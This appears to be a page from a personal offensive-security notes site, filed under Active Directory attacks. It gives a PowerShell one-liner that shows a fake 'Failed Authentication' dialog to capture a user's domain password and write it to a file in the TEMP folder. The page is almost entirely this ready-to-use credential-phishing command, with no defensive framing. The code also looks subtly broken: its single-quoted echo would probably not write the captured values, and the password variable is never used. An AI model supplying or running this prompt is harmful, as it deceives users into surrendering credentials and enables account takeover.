> For the complete documentation index, see [llms.txt](https://aj-labz.gitbook.io/aj-labz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aj-labz.gitbook.io/aj-labz/offensive-cyberz/ad-attack/prompt-for-credentials.md).

# Prompt for Credentials

Powershell Script to prompt user for credentials and save to User's %TEMP% directory

``powershell "$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+''+[Environment]::UserName,[Environment]::UserDomainName); $pass = $cred.getnetworkcredential().password; $user = [Environment]::UserDomainName+''+[Environment]::UserName; echo '$user `n$cred' > $env:TEMP\credz.txt "``
